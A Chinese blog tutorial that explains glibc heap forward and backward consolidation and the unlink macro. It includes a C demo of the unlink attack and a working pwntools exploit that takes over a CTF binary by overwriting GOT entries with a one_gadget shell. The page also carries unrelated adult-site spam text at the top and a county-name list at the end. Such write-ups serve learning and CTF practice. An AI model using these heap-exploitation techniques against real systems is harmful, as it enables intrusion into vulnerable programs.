中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行Glibc堆塊的向前向后合并與unlink原理機制探究

發布時間:2021-12-27 13:45:05 來源:億速云 閱讀:179 作者:柒染 欄目:網絡安全

今天就跟大家聊聊有關如何進行Glibc堆塊的向前向后合并與unlink原理機制探究,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

Unlink是把free掉的chunk從所屬的bins鏈中,卸下來的操作(當然還包括一系列的檢測機制),它是在free掉一塊chunk(除fastbin大小的chunk外)之后,glibc檢查這塊chunk相鄰的上下兩塊chunk的free狀態之后,做出的向后合并或者向前合并引起的。

向前、向后合并

p是指向free掉的chunk的指針(注意不是指向data的指針,是chunk),size是這塊chunk的size。

 /* consolidate backward */4277            if (!prev_inuse(p)) {4278              prevsize = prev_size (p);4279              size += prevsize;4280              p = chunk_at_offset(p, -((long) prevsize));4281              unlink(av, p, bck, fwd);4282            }4283        4284            if (nextchunk != av->top) {4285              /* get and clear inuse bit */4286              nextinuse = inuse_bit_at_offset(nextchunk, nextsize);4287        4288              /* consolidate forward */4289              if (!nextinuse) {4290                unlink(av, nextchunk, bck, fwd);4291                size += nextsize;4292              } else4293                clear_inuse_bit_at_offset(nextchunk, 0);42944295              /*
4296                Place the chunk in unsorted chunk list. Chunks are
4297                not placed into regular bins until after they have
4298                been given one chance to be used in malloc.
4299              */4300        4301              bck = unsorted_chunks(av);4302              fwd = bck->fd;4303              if (__glibc_unlikely (fwd->bk != bck))4304                malloc_printerr ("free(): corrupted unsorted chunks");4305              p->fd = fwd;4306              p->bk = bck;4307              if (!in_smallbin_range(size))4308                {4309                  p->fd_nextsize = NULL;4310                  p->bk_nextsize = NULL;4311                }4312              bck->fd = p;4313              fwd->bk = p;4314        4315              set_head(p, size | PREV_INUSE);4316              set_foot(p, size);4317        4318              check_free_chunk(av, p);4319            }4320        4321            /*
4322              If the chunk borders the current high end of memory,
4323              consolidate into top
4324            */4325        4326            else {4327              size += nextsize;4328              set_head(p, size | PREV_INUSE);4329              av->top = p;4330              check_chunk(av, p);4331            }

向后合并

向后合并部分的代碼在4277-4282行

向后合并流程:

  • 檢查p指向chunk的size字段的pre_inuse位,是否為0(也就是檢查當前chunk的前一塊chunk是否是free的,如果是則進入向前合并的流程)

  • 獲取前一塊chunk的size,并加到size中(以此來表示size大小上已經合并)

  • 根據當前chunk的presize來獲得指向前一塊chunk的指針

  • 將這個指針傳入unlink的宏(也就是讓free掉的chunk的前一塊chunk進入到unlink流程)

向前合并

如果free掉的chunk相鄰的下一塊chunk(下面用nextchunk表示,并且nextsize表示它的大小)不是topchunk,并且是free的話就進入向前合并的流程。(見代碼4284-4289行)

如果nextchunk不是free的,則修改他的size字段的pre_inuse位。
如果nextchunk是topchunk則和topchunk進行合并。

ps:檢測nextchunk是否free,是通過inuse_bit_at_offset(nextchunk, nextsize)來獲得nextchunk的相鄰下一塊chunk的size字段的presize位實現的。

向前合并流程(見代碼4290-4291):

  • 讓nextchunk進入unlink流程

  • 給size加上nextsize(同理也是表示大小上兩個chunk已經合并了)

unlink

unlink是個宏,但是在讀代碼的時候請把bk和fd當作變量。

ps:p是指向chunk的指針。

#define unlink(AV, P, BK, FD) {                                                        if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
              malloc_printerr ("corrupted size vs. prev_size");                              
            FD = P->fd;                                                                      
            BK = P->bk;                                                                      
            if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
              malloc_printerr ("corrupted double-linked list");                              
            else {                                                                      
                FD->bk = BK;                                                              
                BK->fd = FD;                                                              
                if (!in_smallbin_range (chunksize_nomask (P))                             
                    && __builtin_expect (P->fd_nextsize != NULL, 0)) {                      
                    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              
                        || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
                      malloc_printerr ("corrupted double-linked list (not small)");   
                    if (FD->fd_nextsize == NULL) {                                      
                        if (P->fd_nextsize == P)                                      
                          FD->fd_nextsize = FD->bk_nextsize = FD;                      
                        else {                                                              
                            FD->fd_nextsize = P->fd_nextsize;                              
                            FD->bk_nextsize = P->bk_nextsize;                              
                            P->fd_nextsize->bk_nextsize = FD;                              
                            P->bk_nextsize->fd_nextsize = FD;                              
                          }                                                              
                      } else {                                                              
                        P->fd_nextsize->bk_nextsize = P->bk_nextsize;                      
                        P->bk_nextsize->fd_nextsize = P->fd_nextsize;                      
                      }                                                                                   }                                                                      \
              }                                                                              
        }
  • 檢查當前chunk的size字段與它相鄰的下一塊chunk中記錄的pre_size是否一樣如果不一樣,就出現corrupted size vs. prev_size的錯誤

  • 檢查是否滿足p->fd->bk==p和p->bk->fd==p,否則出現corrupted double-linked list,錯誤。

  • 解鏈操作:fd->bk=bk和bk->fd=fd(學過循環雙鏈表的都能看懂吧)
    這里配上一張CTFwiki的圖:接下來的代碼其實是對largechunk的一系列檢測和處理機制,這里可以不用管,一般實戰利用的時候都是對smallchunk進行利用的。

以上就是unlink的操作,本質上就是從glibc管理的bin鏈中解鏈以及解鏈前的安全檢查(防止被利用)

那unlink之后又做了什么呢?

整理chunk結構并放入unsortedbin當中

不管是向前合并還是向后合并,unlink后都會來到4301-4318行。

其實做的是,將合并好的chunk加入到unsorted bin中第一個

并且如果這個chunk是samll chunk大小的話它是沒有fd_nextsize和bk_nextsize的

然后就設置合并過后的chunk的頭部(設置合并過后的size,已經合并形成的chunk的下一塊chunk的pre_size字段)

unlink Demo調試驗證

理論上面已經談過了,butTalk is cheap,Debug is real!先來個小demo結合上面的原理感受下。

#include <unistd.h>#include <stdlib.h>#include <string.h>#include <stdio.h>struct chunk_structure {
  size_t prev_size;
  size_t size;
  struct chunk_structure *fd;
  struct chunk_structure *bk;
  char buf[10];               // padding};int main() {
  unsigned long long *chunk1, *chunk2;
  struct chunk_structure *fake_chunk, *chunk2_hdr;
  char data[20];

  // First grab two chunks (non fast)  chunk1 = malloc(0x80);
  chunk2 = malloc(0x80);
  printf("%p\n", &chunk1);
  printf("%p\n", chunk1);
  printf("%p\n", chunk2);

  // Assuming attacker has control over chunk1's contents  // Overflow the heap, override chunk2's header  // First forge a fake chunk starting at chunk1  // Need to setup fd and bk pointers to pass the unlink security check  fake_chunk = (struct chunk_structure *)chunk1;
  fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P  fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P  // Next modify the header of chunk2 to pass all security checks  chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
  chunk2_hdr->prev_size = 0x80;  // chunk1's data region size  chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit  // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'  // This results in chunk1 pointer pointing to chunk1 - 3  // i.e. chunk1[3] now contains chunk1 itself.  // We then make chunk1 point to some victim's data  free(chunk2);
  printf("%p\n", chunk1);
  printf("%x\n", chunk1[3]);

  chunk1[3] = (unsigned long long)data;

  strcpy(data, "Victim's data");

  // Overwrite victim's data using chunk1  chunk1[0] = 0x002164656b636168LL;

  printf("%s\n", data);

  return 0;
}

ps:**在這個Demo中假定chun1的數據內容是被攻擊者可控的并且可以溢出修改到下面一個chunk

先malloc兩個chunk,然后看看他們的地址

然后在chunk1中偽造一個chunk,使得fake_chunk->fd->bk==fakechunk和fake_chunk->bd->fd==fake_chunk來避過corrupted double-linked list檢測。

因為要使得fake_chunk->fd—>bk==fakechunk的話,要使得fake_chunk->fd里面存的是存有chunk1的地址的變量往上偏移0x18,同理fake_chunk->bk也是要網上偏移0x10的。然后修改好chunk2的presize字段為0x80就是chunk1的數據大小(用來避過corrupted size vs. prev_size檢測的),和size字段的preinuse位為0(),從而達到欺騙glibc的機制,讓它一位chunk2的前一塊chunk(也就是chunk1)是free的,并且滿足unlink所有的安全機制。這時候free掉chunk2的話就會觸發向后合并。看一看chunk1和chunk2的情況。以及完全構造好了。接下來就是free(chunk2)觸發unlink。觸發之后如何進行Glibc堆塊的向前向后合并與unlink原理機制探究

chunk1的內容變成了&chunk1-3了。

這是因為fake_chunk->bk->fd=fake_chunk->fd,前面已經講過fake_chunk->bk->fd指的是chunk1,而fake_chunk->fd指的是&chunk1-0x10.所以一unlink過后,chunk1里邊存的是&chunk1-0x10的地址。
看看里邊的內容:如何進行Glibc堆塊的向前向后合并與unlink原理機制探究畫線的地方是chunk2存的內容,無疑是棧上的東西了。而它前一個8字節存的就是chunk1存的地址0x00007fffffffdcb8,對吧自己算算地址,不就是&chunk1-0x18了么?

經過原理探究和demo調試,心中已經對unlink有感覺了吧,再來道題,練練應該就沒問題了吧。

在網上找了一個題,拖進ida看看如何進行Glibc堆塊的向前向后合并與unlink原理機制探究

主菜單如圖。關鍵部分是:**添加**,**刪除**,**顯示**,**編輯**如何進行Glibc堆塊的向前向后合并與unlink原理機制探究

**添加**:

總共可以添加99個chunk,然后根據輸入的lenth(長度沒有限制),然后申請內存并記錄在全局變量中,并且lenth也是記錄在全局變量中的,然后往內存中讀入內容。如何進行Glibc堆塊的向前向后合并與unlink原理機制探究

**刪除**:

根據輸入的index,free掉對應的塊,并將記錄的地址和lenth清零。看來沒有uaf。如何進行Glibc堆塊的向前向后合并與unlink原理機制探究

**顯示**:

直接遍歷全局變量數組,打印對應內存的內容,可以用來泄露地址。如何進行Glibc堆塊的向前向后合并與unlink原理機制探究

**編輯**:

根據輸入的index和lenth來修改chunk的內容。(lenth是我們自己控制的,所以存在溢出修改)

綜上分析,選擇的思路是:

構造兩個相鄰塊,來實現unlink的操作。

當時要要注意unlink的檢測條件,所以申請了連續4個chunk,用index為1和2的chunk來構造Unlink所需的chunk。

unlink之后,存有index為2的指針變量就會指向他的地址-0x18處。然后通過edit index2,修改全局變量數組的內容為got表地址,從而泄露,然后再查查庫,之后就好利用了,我這里使用的是one_gadget覆蓋puts的got表.

**exp**:

```

from pwn import *

context.log_level="debug"

def add(len,content):

    p.recvuntil("choice:")

    p.send("2")

    p.recvuntil("name:")

    p.send(str(len))

    p.recvuntil("servant:")

    p.send(content)

def change(index,len,content):

    p.recvuntil("choice:")

    p.send("3")

    p.recvuntil("servant:")

    p.send(str(index))

    p.recvuntil("name:")

    p.send(str(len))

    p.recvuntil("servnat:")

    p.send(content)

def free(index):

    p.recvuntil(":")

    p.send("4")

    p.recvuntil("servant:")

    p.send(str(index))

def show():

    p.recvuntil("ce:")

    p.send("1")

libc=ELF("libc.so")

puts_got=0x602020

free_got=0x602018

binsh="/bin/sh"

ptr=0x6020e8

p=process("./pwn13")

add(0xf0,"aaa")

add(0xf0,"bbb")

add(0xf0,"ccc")

add(0xf0,"ddd")

change(2,0xf8,p64(0x110)+p64(0xf1)+p64(ptr-0x18)+p64(ptr-0x10)+(0xf8-0x28)*"a"+p64(0xf0)+p64(0xf0))

change(0,0x100,"a"*0xf8+p64(0x111))

free(1)

change(2,0x10,p64(0xf0)+p64(free_got))

show()

p.recvuntil("1 : ")

free_addr=u64(p.recv(6).ljust(8,'\0'))

print "free:"+hex(free_addr)

one_gadet=free_addr-libc.symbols['free']+0x45216

puts_addr=free_addr-libc.symbols['free']+libc.symbols['puts']

change(1,0x16,p64(puts_addr)+p64(one_gadet))

p.interactive()

看完上述內容,你們對如何進行Glibc堆塊的向前向后合并與unlink原理機制探究有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

湘阴县| 宾川县| 长子县| 罗源县| 吉首市| 偃师市| 抚远县| 宾川县| 秀山| 遂平县| 丘北县| 团风县| 淮安市| 穆棱市| 澄迈县| 彭山县| 康马县| 巍山| 民和| 平阴县| 江陵县| 河南省| 舞阳县| 福州市| 嘉义市| 吴堡县| 惠东县| 随州市| 东丽区| 武城县| 诸暨市| 榆中县| 德保县| 博爱县| 长治县| 神农架林区| 福州市| 卓资县| 尉氏县| 仙桃市| 子长县|